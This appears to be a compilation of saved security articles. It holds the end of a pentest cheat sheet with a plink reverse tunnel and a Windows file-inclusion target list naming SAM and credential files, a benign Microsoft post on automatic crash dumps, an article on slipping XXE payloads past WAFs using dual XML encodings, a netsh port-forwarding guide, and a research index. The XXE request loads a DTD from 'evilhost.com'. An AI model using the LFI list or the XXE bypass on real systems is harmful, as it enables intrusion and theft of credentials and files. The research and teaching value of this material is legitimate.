    plink.exe -l root -pw password -R 445:127.0.0.1:445 YOURIPADDRESS
    
[/code]

_Note: As of the Fall Creators Update for Windows 10, OpenSSH has been
introduced in beta for Windows, so I expect one day we may be able to use just
regular old SSH commands for port forwarding, depending on if it’s enabled._

## Local File Inclusion List

This is not an exhaustive list, installation directories will vary, I’ve only
listed common ones.

[code]

    C:\Apache\conf\httpd.conf
    C:\Apache\logs\access.log
    C:\Apache\logs\error.log
    C:\Apache2\conf\httpd.conf
    C:\Apache2\logs\access.log
    C:\Apache2\logs\error.log
    C:\Apache22\conf\httpd.conf
    C:\Apache22\logs\access.log
    C:\Apache22\logs\error.log
    C:\Apache24\conf\httpd.conf
    C:\Apache24\logs\access.log
    C:\Apache24\logs\error.log
    C:\Documents and Settings\Administrator\NTUser.dat
    C:\php\php.ini
    C:\php4\php.ini
    C:\php5\php.ini
    C:\php7\php.ini
    C:\Program Files (x86)\Apache Group\Apache\conf\httpd.conf
    C:\Program Files (x86)\Apache Group\Apache\logs\access.log
    C:\Program Files (x86)\Apache Group\Apache\logs\error.log
    C:\Program Files (x86)\Apache Group\Apache2\conf\httpd.conf
    C:\Program Files (x86)\Apache Group\Apache2\logs\access.log
    C:\Program Files (x86)\Apache Group\Apache2\logs\error.log
    c:\Program Files (x86)\php\php.ini"
    C:\Program Files\Apache Group\Apache\conf\httpd.conf
    C:\Program Files\Apache Group\Apache\conf\logs\access.log
    C:\Program Files\Apache Group\Apache\conf\logs\error.log
    C:\Program Files\Apache Group\Apache2\conf\httpd.conf
    C:\Program Files\Apache Group\Apache2\conf\logs\access.log
    C:\Program Files\Apache Group\Apache2\conf\logs\error.log
    C:\Program Files\FileZilla Server\FileZilla Server.xml
    C:\Program Files\MySQL\my.cnf
    C:\Program Files\MySQL\my.ini
    C:\Program Files\MySQL\MySQL Server 5.0\my.cnf
    C:\Program Files\MySQL\MySQL Server 5.0\my.ini
    C:\Program Files\MySQL\MySQL Server 5.1\my.cnf
    C:\Program Files\MySQL\MySQL Server 5.1\my.ini
    C:\Program Files\MySQL\MySQL Server 5.5\my.cnf
    C:\Program Files\MySQL\MySQL Server 5.5\my.ini
    C:\Program Files\MySQL\MySQL Server 5.6\my.cnf
    C:\Program Files\MySQL\MySQL Server 5.6\my.ini
    C:\Program Files\MySQL\MySQL Server 5.7\my.cnf
    C:\Program Files\MySQL\MySQL Server 5.7\my.ini
    C:\Program Files\php\php.ini
    C:\Users\Administrator\NTUser.dat
    C:\Windows\debug\NetSetup.LOG
    C:\Windows\Panther\Unattend\Unattended.xml
    C:\Windows\Panther\Unattended.xml
    C:\Windows\php.ini
    C:\Windows\repair\SAM
    C:\Windows\repair\system
    C:\Windows\System32\config\AppEvent.evt
    C:\Windows\System32\config\RegBack\SAM
    C:\Windows\System32\config\RegBack\system
    C:\Windows\System32\config\SAM
    C:\Windows\System32\config\SecEvent.evt
    C:\Windows\System32\config\SysEvent.evt
    C:\Windows\System32\config\SYSTEM
    C:\Windows\System32\drivers\etc\hosts
    C:\Windows\System32\winevt\Logs\Application.evtx
    C:\Windows\System32\winevt\Logs\Security.evtx
    C:\Windows\System32\winevt\Logs\System.evtx
    C:\Windows\win.ini 
    C:\xampp\apache\conf\extra\httpd-xampp.conf
    C:\xampp\apache\conf\httpd.conf
    C:\xampp\apache\logs\access.log
    C:\xampp\apache\logs\error.log
    C:\xampp\FileZillaFTP\FileZilla Server.xml
    C:\xampp\MercuryMail\MERCURY.INI
    C:\xampp\mysql\bin\my.ini
    C:\xampp\php\php.ini
    C:\xampp\security\webdav.htpasswd
    C:\xampp\sendmail\sendmail.ini
    C:\xampp\tomcat\conf\server.xml
    
[/code]

  

# Automatically Capturing a Dump When a Process Crashes - CLR Team Blog - Site
Home - MSDN Blogs

**Created:**| _5/29/2010 11:28:06 AM_  
---|---  
**Updated:**| _5/29/2010 11:28:06 AM_  
**Author:**| _wishi_  
**Tags:**| _reversing_  
  

### Automatically Capturing a Dump When a Process Crashes

<img src='img/anonymous.gif' />CLRTeam

15 Oct 2009 8:35 PM

  * Comments 3

I recently received the following question from a customer:



“During our test runs \(which might run for hours\), if a process crashes,
we’d like to create full memory dumps for later diagnosis. Can I configure the
machine to do this automatically?”



I’ve actually gotten this question numerous times over the past couple of
years. It comes in various forms but the general scenario is: A user wants to
be able to diagnose application crashes and the environment does not lend
itself to live debugging. The latter criterion could be for a number of
reasons, but the most common I see are:

·         We have an intermittent failure in production and want to gather a
dump to debug the issue offline.

·         I’m running a bunch of tests and when one crashes I don’t want to
interrupt the whole run to diagnose the issue at failure time. Let’s just
gather some information for triaging.

·         Our issue isn’t reproducible under a debugger. E.g. a stress bug.



These essentially reduce to: You want to get as much data as you can, while
minimizing the impact to the environment. Given these requirements, the
solution I find meeting most people’s needs is to configure a just-in-time
\(JIT\) debugger to launch, grab a dump, and exit whenever a process crashes.



Support for just-in-time debugging has been in the CLR since V1x and in the OS
for as long as I can remember. The basic idea behind a JIT debugger is: when a
process crashes, launch and attach a debugger so you can figure out why.



There are registry keys which provide this general ability for both managed
and native code \(support for the latter might actually be in Win.ini for
9x/Me\). If your application is written in managed code \(which is the case
I’m often presented\) you might ask, “My application is managed code, why do I
care about native code?” Given that even the most simple managed applications
run native code \(e.g. the runtime itself\), if your requirement is to gather
data for any crash, you’ll need to set the keys for both types of code. In CLR
V4 we’ve actually unified the key which controls the managed JIT debugger with
the native one. However, that change does not change my guidance since, for
the time being, we’ll be living in a world where V2 managed code exists
alongside V4.



**How do I configure the debugger?**

** **

1.       Download and install the latest “Debugging Tools for Windows.”
a.       If you’re running a 64-bit OS, you’ll want both the 32- and 64-bit
versions\*

b.      You can either install the entire set of tools on the machine \(it’s a
quick, small install\) or you can install to one machine and copy “cdb.exe”
from the install directory to any number of target machines.



_\*Note: My sample . reg files below assume you install the 32-bit debugger to
c:\debuggers\x86\ and the 64-bit version to c:\debuggers\x64\\._

_ _

2.       Create/set the following registry keys and values \(If you’re working on a 64-bit version of Windows, you’ll need to set these keys under the Wow6432node as well.†\):
a.       Key: HKLM\Software\Microsoft\Windows NT\Current Version\AeDebug:

                                                               i.      Value:
“Debugger”

1.       Type: String
2.       Value data: _< path to cdb>_ -pv -p %ld -c “.dump /u /ma _< dump file path\name.dmp>_;.kill;qd"
                                                             ii.      Value:
“Auto”

1.       Type: String
2.       Value data: “1”
b.      Key: HKLM\Software\Microsoft\\.NETFramework

                                                               i.      Value:
“DbgManagedDebugger

1.       Type: String
2.       Value data: _< path to cdb>_ -pv -p %ld -c ".dump /u /ma _< dump file path\name.dmp>_;.kill;qd"
                                                             ii.      Value:
DbgJITDebugLaunchSetting

1.       Type: DWORD \(32-bit\)
2.       Value data: 2


† _Note: You should set the keys to point to the appropriate “ bitness”
debugger. I.e. you want the OS/CLR to launch the 64-bit debugger for 64-bit
process crashes and the 32-bit version for 32-bit crashes. Make sure your
debugger paths are set accordingly._

_ _

The following sample .reg file will set cdb.exe to auto-launch and generate a
crash dump for every process crash on the machine. Note the assumptions the
file makes about debugger paths and the dump-file-placement path.



Windows Registry Editor Version 5.00   ;This reg file installs just-in-time
debuggers to capture a dump of all process  
;crashes for the machine. ; ;Assumes 32-bit debugger is cdb.exe and is
installed to c:\debuggers\x86\\. ;Assumes 64-bit debugger is cdb.exe and is
installed to c:\debuggers\x64\\. ; ;Assumes crash dumps can be written to
c:\crash\_dumps\\. ;Make sure all users have write access to this directory. 
\[HKEY\_LOCAL\_MACHINE\SOFTWARE\Microsoft\\.NETFramework\]
"DbgManagedDebugger"="\"c:\\\debuggers\\\x64\\\cdb.exe\" -pv -p %ld -c \".dump
/u /ma c:\\\crash\_dumps\\\crash.dmp;.kill;qd\""
"DbgJITDebugLaunchSetting"=dword:00000002  
\[HKEY\_LOCAL\_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AeDebug\]
"Debugger"="\"c:\\\debuggers\\\x64\\\cdb.exe\" -pv -p %ld -c \".dump /u /ma
c:\\\crash\_dumps\\\crash.dmp;.kill;qd\"" "Auto"="1"   ;The following keys are
only used on 64-bit versions of Windows \(note Wow6432Node\). ;They can be
safely created with no side-effects on 32-bit versions of Windows.
;Alternatively, you can delete the remainder of this file if you’re running a
;32-bit version of Windows.  
\[HKEY\_LOCAL\_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows
NT\CurrentVersion\AeDebug\] "Debugger"="\"c:\\\debuggers\\\x86\\\cdb.exe\" -pv
-p %ld -c \".dump /u /ma c:\\\crash\_dumps\\\crash.dmp;.kill;qd\"" "Auto"="1"
 \[HKEY\_LOCAL\_MACHINE\SOFTWARE\Wow6432Node\Microsoft\\.NETFramework\]
"DbgManagedDebugger"="\"c:\\\debuggers\\\x86\\\cdb.exe\" -pv -p %ld -c \".dump
/u /ma c:\\\crash\_dumps\\\crash.dmp;.kill;qd\""
"DbgJITDebugLaunchSetting"=dword:00000002    
---  


**What do these keys do?**

** **

The “Debugger” and “DbgManagedDebugger” value data are basically command lines
\(printf format strings\) that are run when a process crashes. The OS or CLR
will substitute values for the format specifiers \(e.g. in the case above it
substitutes the crashing process ID for the “%ld”\) and run the command in the
user context of the crashing process. The command line I’ve supplied:  
  

·         launches cdb.exe, the debugger.

o   Obviously, you must specify the correct path to the debugger.

·         “-pv %ld” : Attaches non-invasively \(just suspends the threads\) to
the crashing process \(the OS or the CLR will actually fill in the PID for
you\).

·         “.dump /u /ma _< dump file path\name.dmp>_”: Takes a full memory
dump with a unique name \(appends the date, time and process ID\) and stores
it in the path defined.

o   The path and file name can be whatever you want them to be. Since the
debugger is launched in the context of the crashing process, make sure the
path points to a location all accounts can write to.

·         “.kill”: Kills the target process \(you’ve gotten the data you
need\).

·         “qd”: Quits the debugger.



The “Auto” and “DbgJITDebugLaunchSetting” values set the policy for when to
launch the debugger. As I wrote above, we want to get our data as quickly as
possible and move on, so we don’t want to require any user intervention. For
example, in the server scenario, there may be no one logged into the machine
to click some “OK” button. The settings I described will automatically launch
the registered debugger for all processes on the machine, without prompting
\(see Enabling JIT-attach Debugging for more details on the settings\). Note
that when these settings are in place, the debugger will be launched for
crashes in all processes running on the machine and you will not have the
option of submitting the crash through “Windows Error Reporting.” In future
posts I’ll discuss ways of enabling both.



**I don’t care about most processes on a machine. Can I just target specific
ones?**



The answer depends on the version of the OS and the version of CLR. Here are
the rules:

·         For native code: your OS must be Vista/Server 2008 or higher.

·         For managed code: Your version of the CLR must be V4 \(or higher, if
you’re reading this from the future\).



And here is how you configure:  
  

1.       Set the debugger keys \(AeDebug\Debugger and .NETFramework\DbgManagedDebugger\) just as you did in 2.a.i and 2.b.i, above.
2.       Ensure AeDebug\Auto and .NETFramework\DbgJITDebugLaunchSetting are not set to auto-launch \(again, see Enabling JIT-attach Debugging for more details on the settings\).
a.       Or you can delete them.

3.       Create the following registry keys and values:
a.       HKLM\Software\Microsoft\Windows\Windows Error
Reporting\DebugApplications

                                                               i.      Value:
<Name of application executable> \(e.g. “myapp.exe”\)

1.       Type: DWORD \(32-bit\)
2.       Value data: 1
b.      Repeat this for each application you want the debugger to be auto-
launched.



You can set the DebugApplications key and values in HKCU if you prefer per-
user control. When these settings are in effect the debugger will be launched
for only the processes you specify and normal error handling will occur for
all other processes \(e.g. for most default configurations, a prompt to submit
an error report to Microsoft\).



The following sample .reg file will set cdb.exe to be auto-launched only for
HelloWorld.exe. Replace HelloWorld.exe with the name\(s\) of the
application\(s\) for which you’re interested in generating crash dumps.

_ _

Windows Registry Editor Version 5.00   ;This reg file installs just-in-time
debuggers to capture a dump of only the  
;processes listed under the \[DebugApplications\] key, below. ; ;Assumes
32-bit debugger is cdb.exe and is installed to c:\debuggers\x86\\. ;Assumes
64-bit debugger is cdb.exe and is installed to c:\debuggers\x64\\. ; ;Assumes
crash dumps can be written to c:\crash\_dumps\\. ;Make sure all users have
write access to this directory.  
\[HKEY\_LOCAL\_MACHINE\SOFTWARE\Microsoft\\.NETFramework\]
"DbgManagedDebugger"="\"c:\\\debuggers\\\x64\\\cdb.exe\" -pv -p %ld -c \".dump
/u /ma c:\\\crash\_dumps\\\crash.dmp;.kill;qd\""
"DbgJITDebugLaunchSetting"=dword:00000000  
\[HKEY\_LOCAL\_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AeDebug\]
"Debugger"="\"c:\\\debuggers\\\x64\\\cdb.exe\" -pv -p %ld -c \".dump /u /ma
c:\\\crash\_dumps\\\crash.dmp;.kill;qd\"" "Auto"="0"   ;The following keys are
only used on 64-bit versions of Windows \(note Wow6432Node\). ;They can be
safely created with no side-effects on 32-bit versions of Windows.
;Alternatively, you can delete the remainder of this file if you’re running a
;32-bit version of Windows.  
\[HKEY\_LOCAL\_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows
NT\CurrentVersion\AeDebug\] "Debugger"="\"c:\\\debuggers\\\x86\\\cdb.exe\" -pv
-p %ld -c \".dump /u /ma c:\\\crash\_dumps\\\crash.dmp;.kill;qd\"" "Auto"="0"
 \[HKEY\_LOCAL\_MACHINE\SOFTWARE\Wow6432Node\Microsoft\\.NETFramework\]
"DbgManagedDebugger"="\"c:\\\debuggers\\\x86\\\cdb.exe\" -pv -p %ld -c \".dump
/u /ma c:\\\crash\_dumps\\\crash.dmp;.kill;qd\""
"DbgJITDebugLaunchSetting"=dword:00000000   ;For each application you want the
debugger to be auto-launched, add a row below ;similar to
“HelloWorld.exe"=dword:00000001 but replacing HelloWorld.exe with ;your
application .exe name.  
\[HKEY\_LOCAL\_MACHINE\SOFTWARE\Microsoft\Windows\Windows Error
Reporting\DebugApplications\] "HelloWorld.exe"=dword:00000001  
---  
_ _

**Can I do more than just capture a dump?**



More information on the command-line switches for the Windows Debuggers can be
found in the documentation included with the Debugging Tools for Windows.
You’re not limited just to dumps. You can perform quite a bit of debugger
automation if you choose.



**So what happened?**



Now that you have your dump, it’s time to figure out why your application
crashed. For those of you familiar with dump debugging, at this point you’re
about to fire up WinDbg \+ SOS \(the managed debugging extension\) and dive
in. But wait\! If your application runs on V4 of the CLR \(.Net Framework
4.0\) you can debug the dump in Visual Studio 2010. Our desire for the
experience in VS 2010 is that it feels very similar to stopped-state live
debugging \(like you’ve hit a breakpoint\). The fact that you’re often
debugging optimized code can make this a bit trickier, but that’s a topic for
another day.



For more information about how to debug crashes in managed code, a search for
“managed dump debugging” yields quite a few helpful results. A great place to
start is Tess Ferrandez’s blog \(a support engineer at Microsoft\). She has a
number of great posts on the topic, including a post on dump debugging in VS
2010, and some labs/walkthroughs as well.



Jon Langdon,

PM, CLR

  * 3 Comments

Debugging, Diagnostics, Jon Langdon

<img src='img/facebook.gif' />

<img src='img/twitter.gif' />

<img src='img/digg.gif' />

<img src='img/delicious.gif' />

<img src='img/linkedin.gif' />

<img src='img/reddit.gif' />

<img src='img/slashdot.gif' />

<img src='img/myspace.gif' />

<img src='img/livefavorites.gif' />

<img src='img/blogmarks.gif' />

<img src='img/diigo.gif' />

<img src='img/fark.gif' />

<img src='img/faves.gif' />

<img src='img/technorati.gif' />

<img src='img/friendfeed.gif' />

<img src='img/livefavorites.gif' />

<img src='img/mixx.gif' />

<img src='img/newsvine.gif' />

<img src='img/stumbleupon.gif' />

<img src='img/google.gif' />

<img src='img/more.gif' /><img src='img/less.gif' />

Comments

  * <img src='img/anonymous.gif' />Anton Tykhyy
15 Oct 2009 10:55 PM

What is your advice to those unfortunates who want dumps on crashes, but don't
want to disturb the customer's environment by setting machine-global registry
keys? This is an often-discussed topic, the two common solutions being

1\) using an unhandled exception handler to generate a dump — this is not
always reliable, stack overflows being exceptionally tricky;

2\) using a second small application which launches the main application as a
debugger and listens for exceptions — this imposes a performance penalty, as
all first-chance exceptions raise the debug event.

  * <img src='img/anonymous.gif' />JohnW
16 Oct 2009 7:27 AM

Don't forget ProcDump from http://technet.microsoft.com/en-
us/sysinternals/dd996900.aspx; the -t flag allows a dump to get created when
the process terminates.

  * <img src='img/anonymous.gif' />Jon Langdon
20 Oct 2009 8:18 AM

@Anton: Good question. My blog post assumes a fair amount of control of the
environment \(setting the keys, accessing the dump files\). If you don't have
this type of control or don't want to exert it, I typically I recommend
leveraging Windows Error Reporting. Software developers can register their
applications and get crash dumps for failures \(crashes and hangs\).
Additionally, it helps you prioritize issues by showing you how many "hits"
there are for a particular crash. And finally, it allows you to set up
responses, so you have a feedback loop with customers who hit a particular
crash/bug. The nice thing is, for the common scenarios, you don't have to
write any code in your product to take advantage of it.

More information is available here:
http://www.microsoft.com/whdc/winlogo/maintain/StartWER.mspx.

If you'd like to discuss your particular scenario in more depth, feel free to
contact me through http://blogs.msdn.com/clrteam/contact.aspx.

# Evil XML with two encodings

**Created:**| _3/2/2019 6:04:05 PM_  
---|---  
**Updated:**| _3/2/2019 6:04:05 PM_  
**Author:**| _wishi_  
**Tags:**| __  
  

  

#  Evil XML with two encodings

WAFs see a white noise instead of the document\!

<img src='img/Temp2_2775.png' width='763' height='387' alt='Preview' />

In this article you will meet a variety of XML encodings, and learn how to
bypass a WAF with them.

## What encodings are supported in XML

The specification tells parsers to be able to parse two encodings: UTF-8 and
UTF-16. Many parsers support a little bit more, but for the demonstration
these two are enough.

Extensible Markup Language \(XML\) 1.0 \(Fifth Edition\)

UTF-8 and UTF-16 map the same characters from the Unicode table.

The difference between the encodings is in a structure of these binary code:

### UTF-8

A character is encoded as a sequence of one to four bytes long.

The binary code is defined by the template:

**Number of bytes** | **Significant bits** | **Binary code**  
---|---|---  
1 | 7 | 0xxxxxxx  
2 | 11 | 110xxxxx 10xxxxxx  
3 | 16 | 1110xxxx 10xxxxxx 10xxxxxx  
4 | 21 | 11110xxx 10xxxxxx 10xxxxxx 10xxxxxx  
An overlong encoding is prohibited, so only the shortest method is correct.

### UTF-16

A character is encoded as a sequence of two or four bytes long.

The binary code is defined by the template:

**Number of bytes** | **Significant bits** | **Binary code**  
---|---|---  
2 | 16 | xxxxxxxx xxxxxxxx  
4 \* | 20 | 110110xx xxxxxxxx 110111xx xxxxxxxx  
\* Preliminarily 0x010000 is subtracted from a character code

If a symbol has been written by four bytes, it is called as **a surrogate
pair**. A surrogate pair is a combination of two common symbols from the
reserved range: U+D800 to U+DFFF. One half of a surrogate pair is not valid.  
  
  
There are two types of UTF-16: UTF-16BE and UTF-16LE \(Big-endian / Little-
endian\). They have a different order of bytes.

Big-endian is a “natural” order of bytes like in the arabic numerals.  
Little-endian is an inverse order of bytes.

Some examples of encoding symbols in UTF-16BE and UTF-16LE:

**Encoding** | **Symbol** | **Binary code**  
---|---|---  
UTF-16BE | U+003F | 00000000 00111111  
UTF-16LE | U+003F | 00111111 00000000  
UTF-16BE \* | U+1D6E5 | **110110** 00 00110101 **110111** 10 11100101  
UTF-16LE \* | U+1D6E5 | 00110101 **110110** 00 11100101 **110111** 10  
\* In a surrogate pair each of the characters is inverted singly. This is
designed for backwards compatibility with Unicode 1.0, where all symbols were
encoded using two bytes only.

## How do parsers detect an encoding

Parsers detect an encoding in four ways:

### External information of encoding

Some network protocols have a special field that indicate an encoding:

<img src='img/Temp2_2774.png' width='800' height='360' alt='Wireshark
screenshot' />  
_Specifying an encoding in WebDav protocol_

Most frequently there are protocols that are built by MIME standard. For
example, it’s SMTP, HTTP, and WebDav.

### Byte Order Mark \(BOM\)

The Byte Order Mark \(BOM\) is a character with U+FEFF code.

If a parser finds a BOM at the beginning of the document, then an encoding is
determined by the binary code of the BOM.

_Most popular encodings and their BOM_

**Encoding** | **BOM** | **Example** |   
---|---|---|---  
UTF-8 | EF BB BF | EF BB BF 3C 3F 78 6D 6C | ...<?xml  
UTF-16BE | FE FF | FE FF 00 3C 00 3F 00 78 00 6D 00 6C | ...<.?.x.m.l  
UTF-16LE | FF FE | FF FE 3C 00 3F 00 78 00 6D 00 6C 00 | ..<.?.x.m.l.  
BOM only works at the beginning of the document. In the middle a BOM will be
read as a special space.

### By the first symbols of the document

The specification allows parsers to identify the encoding by the first bytes:

**Encoding** | **Document** |   
---|---|---  
UTF-8  
ISO 646  
ASCII | 3C 3F 78 6D | <?xm  
UTF-16BE | 00 3C 00 3F | .<.?  
UTF-16LE | 3C 00 3F 00 | <.?.  
It only works for documents that start with an xml declaration.

### From XML declaration

The encoding can be written in an xml declaration:

[code]

    <?xml version="1.0" encoding="UTF-8"?>
[/code]

An “XML Declaration” is a string that can be written at the beginning of the
document. A parser understands the version of the document’s standard by this
string.

[code]

    <?xml version="1.0" encoding="ISO-8859-1" ?>
    <très>là</très>
[/code]

_Document in ISO-8859-1 encoding_

Obviously, in order to read the declaration, a parser will have to know the
encoding in which the declaration was written. But, the declaration is useful
to clarify between ASCII-compatible encodings.

## The most common WAF bypass

The first way is to change an encoding to non-compatible with ASCII, and hope
that a WAF will fail to parse it.

It worked in “PHDays WAF Bypass” competition in 2015. Participants were
required to read a flag through XXE vulnerability:

_Request to XXE exploitation from the contest_

[code]

    POST / HTTP/1.1
    Host: d3rr0r1m.waf-bypass.phdays.com
    Connection: close
    Content-Type: text/xml
    User-Agent: Mozilla/5.0
    Content-Length: 166
     
    <?xml version="1.0"?>
    <!DOCTYPE root [
        <!ENTITY % xxe SYSTEM "http://evilhost.com/waf.dtd">
        %xxe;
    ]>
    <root>
        <method>test</method>
    </root>
[/code]

One of the solutions was to transcode a message body into UTF-16BE without a
BOM:

[code]

    cat original.xml | iconv -f UTF-8 -t UTF-16BE > payload.xml
    
    
[/code]

In this document, WAF couldn’t see the attack and did process the request.

## New vector: Bypass with two encodings

The other way to confuse a WAF is to encode a document using two encodings
simultaneously.

When a parser reads an encoding from the XML-declaration, the parser
immediately switches to it.  
Including one when the new encoding isn’t compatible with the encoding in
which the XML-declaration was written.

WAFs don’t support parsing of such multi-encoded documents for now.

### ‎Xerces2 Java Parser

The XML-declaration is in ASCII, the root element is in UTF-16BE:

00000000 | 3C3F 786D 6C20 7665 7273 696F 6E3D 2231 | <?xml version="1  
---|---|---  
00000010 | 2E30 2220 656E 636F 6469 6E67 3D22 5554 | .0" encoding="UT  
00000020 | 462D 3136 4245 223F 3E00 3C00 6100 3E00 | F-16BE"?>.<.a.>.  
00000030 | 3100 3300 3300 3700 3C00 2F00 6100 3E | 1.3.3.7.<./.a.>  
Commands for transcoding:

[code]

    echo -n '<?xml version="1.0" encoding="UTF-16BE"?>' > payload.xml
    echo '<a>1337</a>' | iconv -f UTF-8 -t UTF-16BE >> payload.xml
    
    
[/code]

### libxml2

libxml2 switches an encoding immediately after it reads the attribute.
Therefore, we need to change an encoding before closing the declaration tag:

00000000 | 3C3F 786D 6C20 7665 7273 696F 6E3D 2231 | <?xml version="1  
---|---|---  
00000010 | 2E30 2220 656E 636F 6469 6E67 3D22 5554 | .0" encoding="UT  
00000020 | 462D 3136 4245 2200 3F00 3E00 3C00 6100 | F-16BE".?.>.<.a.  
00000030 | 3E00 3100 3300 3300 3700 3C00 2F00 6100 | >.1.3.3.7.<./.a.  
00000040 | 3E | >  
Commands for transcoding:

[code]

    echo -n '<?xml version="1.0" encoding="UTF-16BE"' > payload.xml
    echo '?><a>1337</a>' | iconv -f UTF-8 -t UTF-16BE >> payload.xml
    
    
[/code]

## Afterword

The vector was founded September 5th, 2017. The first publication of this
material was on the habrahabr in October 13th, 2017.

My colleague _@Agarri\_FR_ released on twitter a similar vector for ‎Xerces2
and UTF-7 in October 12th, 2017, and it got me publish this article
immediately.

In addition to UTF-7 and UTF-16 you might use many different encodings, but
however you should take into account your parser’s capabilities.

It’s the first article was written by me in English. January 5 and 11th,
February 4th, 2018, Moscow, winter. Thanks @httpsonly for checking the
version.

  

# Port Forwarding in Windows | Windows OS Hub
**Created:**| _9/23/2018 8:52:04 AM_  
---|---  
**Updated:**| _9/23/2018 8:52:04 AM_  
**Author:**| _wishi_  
**Tags:**| _network-security port_  
  

  

# Port Forwarding in Windows

Since Windows XP there is a built-in ability in Microsoft Windows to set up
**network ports forwarding**. Due to it, any incoming TCP connection \(IPv4 or
IPv6\) to local port can be redirected to another local port or even to port
on the remote computer. And it is not necessary for system to have a service
that listens to this port.

In Linux, port redirection is configured quite simply using _iptables_. On
Windows Server systems, the Routing and Remote Access Service \(RRAS\) is used
to organize port forwarding. However, there is an easier way to configure the
port forwarding, which works well in any version of Windows.

Port forwarding in Windows can be configured using **Portproxy** mode of the
command **Netsh**. The syntax of this command is as follows:  
`netsh interface portproxy add v4tov4 listenaddress=localaddress
listenport=localport connectaddress=destaddress connectport=destport`  
where

  1. **listenaddress** – is a local IP address waiting for a connection.
  2. **listenport** – local listening TCP port \(the connection is waited on it\).
  3. **connectaddress** – is a local or remote IP address \(or DNS name\) to which the incoming connection will be redirected.
  4. **connectport** – is a TCP port to which the connection from listenport is forwarded to.

Let’s imagine that our task is to make the RDP service to respond on a non-
standard port, for example 3340 \(the port can be changed in the settings of
the service, but we will use RDP to make it easier to demonstrate
forwarding\). To do this, you need to redirect incoming traffic from TCP port
3340 to another local port – 3389 \(standard rdp port\).

Start the command prompt as an administrator and perform the following
command:

`netsh interface portproxy add v4tov4 listenport=3340 listenaddress=10.1.1.110
connectport=3389 connectaddress=10.1.1.110`

<img src='img/port-forwarding-rule-netsh-interface-portproxy-add.jpg'
width='576' height='136' alt='windows port forwarding rule using netsh
interface portproxy add' />

Where 10.10.1.110 – the current IP address of this computer.

Using netstat make sure that port 3340 is listened now:

`netstat -ano | findstr :3340`
<img src='img/netstat-ano-1.jpg' width='610' height='65' alt='netstat -ano -
Get process PID' />

**Note**. If this command does not return anything and port forwarding via the
netsh interface portproxy does not work, make sure that you have the
**iphlpsvc** \(IP Helper\) service running on your system.

IPv6 support must be enabled on the network interface for which the port
forwarding rule is created.

<img src='img/ipv6-protocol-enebled.jpg' width='353' height='328' alt='ipv6
protocol enabled' />

These are the prerequisites for correct port-forwarding. Without the IP Helper
service and without IPv6 support enabled, the port redirection won’t work.

You can find out what process is listening to this port use its PID \(in our
example, the PID is 636\):

`tasklist | findstr 636`
Let’s try to connect to this computer from a remote system using any RDP
client. Port 3340 should be specified as the RDP port.It is specified after
the colon following the RDP server address, for example, 10.10.1.110:3340:

<img src='img/mstsc-different-rdp-port.png' width='421' height='259' alt='RDP
client connect to different port' />

The connection should be established successfully.

**Important**. Make sure that your firewall \(Windows Firewall or a third-
party one that are often included into an antivirus software\) allows incoming
connections to the new port. If necessary, you can add a new Windows Firewall
rule using this command:

`netsh advfirewall firewall add rule name=”forwarded_RDPport_3340”
protocol=TCP dir=in localip=10.1.1.110 localport=3340 action=allow`

When creating an incoming firewall rule for port 3340 via Windows Firewall
graphical interface, no program needs to be associated with it. This port is
only listened by the network driver.

You can create any number of Windows port forwarding rules. All netsh
interface portproxy rules are persistent and are stored in the system after a
Windows restart.

Display the list of forwarding rules in the system:

`netsh interface portproxy show all`

In our case there is only one forwarding rule from port 3340 to 3389:

`Listen on ipv4: Connect to ipv4:  
Address Port Address Port  
--------------- ---------- --------------- ----------  
10.1.1.110 3340 10.1.1.110 3389`

<img src='img/netsh-show-all-forward-rules.jpg' width='459' height='129'
alt='Display all port forward rules' />

**Tip**. Also, portproxy settings can be obtained as follows:  
`netsh interface portproxy dump`  
`#========================  
# Port Proxy configuration  
#========================  
pushd interface portproxy  
reset  
add v4tov4 listenport=3340 connectaddress=10.1.1.110 connectport=3389  
popd  
# End of Port Proxy configuration`

<img src='img/portproxy-dump.jpg' width='576' height='219' alt='netsh
interface portproxy dump' />

To remove a specific port forwarding rule:

`netsh interface portproxy delete v4tov4 listenport=3340
listenaddress=10.1.1.110`

To clear all current port forwarding rules:

`netsh interface portproxy reset`

**Important**. This forwarding scheme works only for TCP ports. You won’t be
able to forward UDP ports this way. Also you can’t use 127.0.0.1 as connect
address.

If you want to forward an incoming TCP connection to another computer, the
command can look like this:

`netsh interface portproxy add v4tov4 listenport=3389 listenaddress=0.0.0.0
connectport=3389 connectaddress=192.168.100.101`

This rule will redirect all incoming RDP requests \(to port 3389\) from this
computer to a remote computer with an IP address 192.168.1.101.

Another portproxy feature is an opportunity to make it look like any remote
network service is operating locally.

For example, forward the connection from the local port 5555 to the remote
address 157.166.226.25 \(CNN website\):

`netsh interface portproxy add v4tov4 listenport=5555 connectport=80
connectaddress= 157.166.226.25 protocol=tcp`

Now if you go to http://localhost:5555/ in your browser, CNN Start page will
open. So despite the browser addresses the local computer, it opens a remote
page.

<img src='img/localhost5555.jpg' width='365' height='318' alt='localhost:5555
open remote page on localhost' />

Port forwarding can also be used to forward a port from an external address of
a network card to a virtual machine port running on the same computer.

Also, there were cases when in Windows Server 2012 R2 the port forwarding
rules worked only until the system was rebooted, and after restart they were
reset. In this case, you need to check whether there is a periodic
disconnection on the network interface, and whether the IP address changes
when the OS boots \(it is better to use a static IP\). As a workaround, I had
to add a script to the Windows scheduler with the netsh interface portproxy
rules that run on the system startup.

In Windows Server 2003 / XP, you must additionally set the **IPEnableRouter**
parameter to **1** in the registry key
HKLM\SYSTEM\ControlSet001\Services\Tcpip\Parameters.

  

# Research

**Created:**| _9/4/2017 9:14:45 AM_  
---|---  
**Updated:**| _9/4/2017 9:14:45 AM_  
**Author:**| _wishi_  
**Tags:**| __  
  

  

We like to give back to the community that has given us so much. Accordingly,
we publish a lot of research. Here is a taxonomy of the research done by Rolf
Rolles and Möbius Strip Reverse Engineering, sliced and diced in various ways.
\(Note that there is some redundancy in the lists below, as several research
topics fall under multiple designations.\)

## The Best of the Below

  * Synesthesia: Modern Shellcode Synthesis with source code
  * Program Synthesis in Reverse Engineering
  * The Case for Semantics-Based Methods in Reverse Engineering
  * Compiler Optimizations for Reverse Engineers, part of the Reverse Engineering Training
  * Unpacking Virtualization Obfuscators
  * Article on HyperUnpackMe2
  * CommWarrior.B IDB

## Program Analysis

Much of the following is summarized in two of Rolf Rolles' speeches, "Program
